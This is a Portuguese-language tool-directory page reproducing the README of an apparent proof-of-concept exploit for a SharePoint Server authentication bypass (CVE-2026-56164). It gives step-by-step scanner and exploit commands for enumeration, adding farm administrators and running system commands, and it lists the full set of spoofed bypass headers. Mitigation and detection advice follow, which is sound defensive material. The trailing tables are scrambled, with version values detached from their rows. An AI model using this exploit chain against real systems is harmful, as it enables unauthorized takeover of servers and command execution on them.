Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-56164-exploit — CVE-2026-56164 é uma vulnerabilidade crítica de falta de autenticação que afeta o Microsoft SharePoint Server on-premises. Ela permite que atacantes remotos não autenticados elevem privilégios pela rede. | Kitploit
Ferramentas/GitHubGitHub/sam00/poc-cve-2026-56164-exploit
Autenticação e AutorizaçãoEscalada de PrivilégiosScanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
sam00/poc-cve-2026-56164-exploit

POC-CVE-2026-56164-exploit

CVE-2026-56164 é uma vulnerabilidade crítica de falta de autenticação que afeta o Microsoft SharePoint Server on-premises. Ela permite que atacantes remotos não autenticados elevem privilégios pela rede.

Ver Repositório
1há 13 diasAinda não revisado

CVE-2026-56164 — Exploit de Bypass de Autenticação no Microsoft SharePoint Server

Crítico (CVSS 9.8) — Escalação de Privilégio Não Autenticada para Administrador de Farm no Microsoft SharePoint Server

Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Versões Afetadas
  • Diagramas de Arquitetura
  • Estrutura do Projeto
  • Instalação
  • Uso do Scanner — Passo a Passo
  • Uso do Exploit — Passo a Passo
  • Design de Payloads
  • Mitigação
  • Aviso Legal

Visão Geral

CVE-2026-56164 é uma vulnerabilidade crítica de ausência de autenticação no Microsoft SharePoint Server que permite que um atacante remoto não autenticado eleve privilégios ao nível de Administrador de Farm. A vulnerabilidade reside no assembly Microsoft.Office.Server.UserProfiles, que processa requisições SOAP em /_vti_bin/client.svc/ProcessQuery.

Ao omitir intencionalmente o cabeçalho X-RequestDigest e fornecer cabeçalhos de roteamento específicos, o servidor vulnerável recorre a um contexto de segurança elevado em vez de rejeitar a requisição não autenticada. Isso permite que atacantes anônimos enumerem coleções de sites, usuários, configuração do farm, adicionem administradores e executem comandos.

CISA KEV: Esta vulnerabilidade está listada no Catálogo de Vulnerabilidades Exploradas Conhecidas da CISA devido à exploração ativa no mundo real.


Detalhes da Vulnerabilidade

Causa Raiz

O handler Microsoft.Office.Server.UserProfiles processa requisições SOAP em /_vti_bin/client.svc/ProcessQuery. Em operações normais, o SharePoint valida o cabeçalho X-RequestDigest para confirmar o contexto de autenticação. No entanto, existe um bypass de validação:

  1. Se X-RequestDigest estiver ausente E cabeçalhos de roteamento específicos estiverem presentes
  2. O sistema avalia os parâmetros de roteamento e recorre a um estado padrão altamente privilegiado
  3. A requisição é processada com credenciais de nível de sistema em vez do contexto de segurança do chamador

Caminho de Código Vulnerável

root@kitploit:~
// Vulnerável: Se o digest estiver ausente, o handler verifica cabeçalhos de roteamento
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Ignora a validação de identidade padrão → sessão administrativa elevada
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Caminho normal
}

Código Corrigido

root@kitploit:~
// Corrigido: A validação do digest é incondicional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

Referências do Aviso

  • MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

Versões Afetadas

ProdutoVersões AfetadasVersão Corrigida
SharePoint Enterprise Server 2016Todas as 16.0.x anteriores ao patch16.0.5561.1001
SharePoint Server 2019Todas as 16.0.x anteriores ao patch

Não impactado: SharePoint Online (Microsoft 365)


Diagramas de Arquitetura

Arquitetura do Sistema

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

Fluxo do Scanner

root@kitploit:~
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

Fluxo do Exploit (Cadeia Completa)

root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator  │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

Estrutura do Projeto

root@kitploit:~
POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Geração de payloads (CSOM, SOAP, cabeçalhos de bypass)
├── scan.py             # Scanner de vulnerabilidades (detecção de SharePoint + verificação de versão)
├── exploit.py          # Orquestrador do exploit (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Dependências Python
└── README.md           # Este arquivo

Instalação

root@kitploit:~
# Clona o repositório
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Instala as dependências
pip3 install -r requirements.txt

Requisitos: Python 3.8+, biblioteca requests (opcional — o urllib da stdlib é usado por padrão).


Uso do Scanner — Passo a Passo

O scanner realiza verificações seguras e não intrusivas para identificar alvos SharePoint Server vulneráveis.

Passo 1: Escanear um Único Alvo

root@kitploit:~
python3 scan.py --target sharepoint.example.com

O scanner irá:

  • Testar portas comuns (443, 80, 8080, 8443)
  • Enviar requisições HTTP e verificar fingerprints do SharePoint (cabeçalhos, conteúdo do corpo)
  • Extrair a versão do SharePoint do cabeçalho MicrosoftSharePointTeamServices
  • Verificar se a versão está dentro das faixas vulneráveis
  • Testar o bypass de autenticação (opcional)
  • Exibir um relatório colorido

Passo 2: Escanear com Porta Específica

root@kitploit:~
python3 scan.py --target sharepoint.example.com --port 443

Passo 3: Escanear Múltiplos Alvos a partir de Arquivo

Crie um arquivo targets.txt:

root@kitploit:~
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comentários são ignorados
root@kitploit:~
python3 scan.py --targets targets.txt

Passo 4: Pular o Teste de Bypass (Somente Fingerprint)

root@kitploit:~
python3 scan.py --target sharepoint.example.com --no-bypass-test

Passo 5: Salvar Resultados como JSON

root@kitploit:~
python3 scan.py --target sharepoint.example.com --json scan_results.json

O que o Scanner Detecta


Uso do Exploit — Passo a Passo

O exploit suporta cinco modos de intensidade crescente.

Modo 1: Detect (Seguro, Não Intrusivo)

Testa o bypass de autenticação comparando uma requisição normal (com digest) com uma requisição de bypass (sem digest + cabeçalhos de roteamento).

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode detect

Modo 2: Enumerate (Divulgação de Informações)

Extrai coleções de sites, usuários e configuração do farm usando o bypass de autenticação.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode enumerate

Modo 3: Elevate (Escalação de Privilégio)

Eleva o contexto anônimo atual ou um usuário específico para Administrador de Coleção de Sites / Farm.

root@kitploit:~
# Eleva o contexto atual
python3 exploit.py --target sharepoint.example.com --mode elevate

# Eleva um usuário específico
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

Modo 4: Execute (Execução de Comandos)

Executa um comando de sistema por meio do serviço SOAP de Administração do SharePoint.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

Modo 5: Cadeia Completa (Detect → Enumerate → Elevate → Execute)

Executa a cadeia completa do exploit em sequência.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

Opções Comuns

  • --port / -p: Porta do alvo (padrão: 443)
  • --http: Usar HTTP em vez de HTTPS
  • --site-url / -s: URL do site SharePoint (padrão: alvo)
  • --json / -j: Salvar relatório como JSON
  • --timeout: Tempo limite da requisição em segundos (padrão: 30)

Design de Payloads

Mecanismo de Bypass de Autenticação

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Requisição HTTP para /_vti_bin/client.svc/ProcessQuery        │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITIDO]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [Corpo do Payload CSOM/SOAP]                                  │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Servidor SharePoint Vulnerável                                 │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → ADMIN DE FARM       │
│  4. Processa a requisição SOAP com credenciais de nível de sistema│
└─────────────────────────────────────────────────────────────────┘

Estrutura de Payload CSOM

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Ações de detecção / enumeração / elevação]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

Cabeçalhos de Roteamento de Bypass


Mitigação

Ações Imediatas

  1. Aplique as atualizações de segurança da Microsoft — Instale os patches de julho de 2026 do SharePoint
  2. Restrinja o acesso — Limite os endpoints do SharePoint somente a redes confiáveis
  3. Bloqueie o acesso externo aos endpoints /_vti_bin/ por meio de regras de proxy reverso/WAF
  4. Monitore os logs em busca de requisições não autenticadas para /_vti_bin/client.svc/ProcessQuery

Versões Corrigidas

  • SharePoint Enterprise Server 2016: 16.0.5561.1001+
  • SharePoint Server 2019: 16.0.10417.20175+
  • SharePoint Server Subscription Edition: 16.0.19725.20434+

Detecção

  • Procure requisições POST para /_vti_bin/client.svc/ProcessQuery sem o cabeçalho X-RequestDigest
  • Procure requisições com múltiplos cabeçalhos de roteamento de bypass (X-SharePoint-Authenticated, SPHomeBearerHint, etc.)
  • Monitore adições inesperadas de Administradores de Coleção de Sites
  • Alerte sobre requisições SOAP para /_vti_bin/SharePointAdmin.asmx originadas de fontes não autenticadas

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Utilize-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado contra sistemas de produção é ilegal e pode violar leis de fraude e abuso de computadores.

Os autores não assumem qualquer responsabilidade pelo uso indevido desta ferramenta. Sempre siga práticas de divulgação responsável e cumpra as leis e regulamentos aplicáveis.

Baixar ferramenta
CampoValor
ID CVECVE-2026-56164
SeveridadeCRÍTICA
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-306: Ausência de Autenticação para Função Crítica
ImpactoElevação de Privilégio Não Autenticada para Administrador de Farm
Status de ExploraçãoExploração ativa (CISA KEV)
MITRE ATT&CKT1190 (Explorar Aplicação Exposta Publicamente)
16.0.10417.20175
SharePoint Server Subscription EditionTodas as 16.0.x anteriores ao patch16.0.19725.20434
IndicadorMétodo
SharePoint ServerFingerprinting de cabeçalhos HTTP (MicrosoftSharePointTeamServices, SPRequestGuid)
Versão do servidorParsing de cabeçalhos + regex no corpo da resposta
Versão vulnerávelComparação com as versões corrigidas do CVE-2026-56164
Bypass de autenticaçãoRequisição CSOM sem X-RequestDigest + cabeçalhos de roteamento de bypass
Certificado SSLAssunto/emissor do certificado para identificação do alvo
CabeçalhoValorFinalidade
X-SharePoint-Authenticated1Declarar que a autenticação já foi concluída
X-SP-RequestRightsFullControlSolicitar permissões de controle total
X-SP-RequestRights2ManageLists, ManageWebDireitos administrativos adicionais
SPHomeBearerHintfarmadminSugerir contexto de administrador de farm
X-RequestForceAuthenticationfalseDesabilitar autenticação forçada
X-SP-ProxyinternalDeclarar origem de proxy interno
X-Forwarded-For127.0.0.1Falsificar origem local
X-Original-URL/_vti_bin/client.svc/ProcessQueryDiretiva de roteamento